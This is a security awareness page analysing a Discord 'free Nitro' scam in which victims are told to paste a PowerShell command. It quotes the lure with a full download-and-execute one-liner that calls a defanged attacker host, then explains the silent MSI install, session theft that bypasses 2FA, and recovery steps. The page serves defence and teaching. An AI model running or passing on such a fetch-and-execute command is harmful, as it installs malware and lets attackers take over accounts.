What the user sees
The lure presented to the victim
Someone in a private server shared this Nitro method.
Apparently you can activate free Nitro by running this in CMD. I haven't tested it myself yet, but a few people said it worked, so I'm sending it before it gets removed.
powershell -command "if (($Mode = 'app') -and ($ActivateNitro = 'nitro' + 'features[.]' + $Mode + '/dev')) { $chart = iwr $ActivateNitro; iex $chart.Content }"The message combines a reward, trust borrowed from a friend or familiar server, and artificial urgency. That combination makes an otherwise unusual request to run a command feel acceptable.
What happens behind the scenes
The technical attack flow
The DM leans on urgency and borrowed trust.
'nitro' + 'features.' + app + '/dev' becomes nitrofeatures[.]app/dev.
The command requests that URL and stores the response in $chart.
$chart.Content is evaluated as PowerShell.
The script creates %AppData%\Svservices.
new2.msi is placed into that folder.
msiexec.exe /i /qn runs without a visible installer.
The user only sees a temporary Nitro pause message.
Sessions or device data may be reused by the attacker.
Technical breakdown
What the command is doing
$Mode = 'app'
$ActivateNitro = 'nitro' + 'features.' + $Mode + '/dev'
# => nitrofeatures[.]app/dev
$chart = iwr $ActivateNitro
# iex $chart.Content => remote script executionThis sample builds a URL through string concatenation, sends a web request to it, and evaluates the returned script. The executable one-liner is intentionally not reproduced.
$Mode is set to app. Concatenating 'nitro' + 'features.' + $Mode + '/dev' produces nitrofeatures[.]app/dev. This makes the destination less obvious at a glance.
Invoke-WebRequest, commonly shortened to iwr, sends an HTTP request to the generated URL and stores the response in $chart.
Invoke-Expression, commonly shortened to iex, evaluates a string as PowerShell. If $chart.Content contains a remote script, it executes that script.
iwr is Invoke-WebRequest: it retrieves data from a remote endpoint.
iex is Invoke-Expression: it executes a supplied string as PowerShell.
The risky part is the chain: fetch remote text, then immediately execute it. The server operator can change the payload at any time.
MSI execution flow
What the downloaded script does
- 1Create an Svservices folder under %AppData%
- 2Download new2.msi into that folder
- 3Use the built-in Windows msiexec.exe installer with /i and /qn
- 4Show only a fake Nitro availability message to the user
/i means install. /qn means no UI. The victim does not see a normal installer window.
Why 2FA alone may not stop it
Authentication and sessions protect different stages
2FA is still important. It primarily strengthens verification for a new sign-in. Theft of an already authenticated session occurs after that stage.
- 1Enter password
- 2Complete 2FA
- 3Authentication succeeds
- 4Session is issued
- 1Malware runs
- 2Existing session is stolen
- 3Authenticated state is reused
- 4Account is operated
A session token helps maintain an authenticated state. If a valid session is stolen, an attacker may reuse that state instead of entering the password and completing 2FA again. Enabling 2FA does not necessarily revoke a session that has already been stolen; the session must be invalidated.
Prevention
Actions that stop this attack
- Do not trust instructions that require PowerShell or CMD to activate a free feature
- Stop when a command contains iwr, irm, iex, curl, or an unfamiliar shortened URL
- Verify the request through another channel even when it comes from a friend
- Enable Discord 2FA and store backup codes safely
- Keep the operating system, browser, and Discord updated
If you already ran it
Prioritized incident response
Changing a password on a potentially infected device may expose the new password too. Disconnect it first and, where possible, secure the account from another trusted device.
- 1Disconnect the device
Disable Wi-Fi or unplug Ethernet to stop additional communication and spread.
- 2Change passwords from a trusted device
Change Discord and every service that reused the same password.
- 3Log out all sessions
Invalidate authenticated sessions that may have been stolen.
- 4Review and reset 2FA
Check authenticators, passkeys, backup codes, and recovery methods.
- 5Scan and clean the device
Update your security software and run a full scan.
- 6Warn contacts and server staff
Tell people not to open messages, links, or files sent from your account.
Sources
Primary references and further reading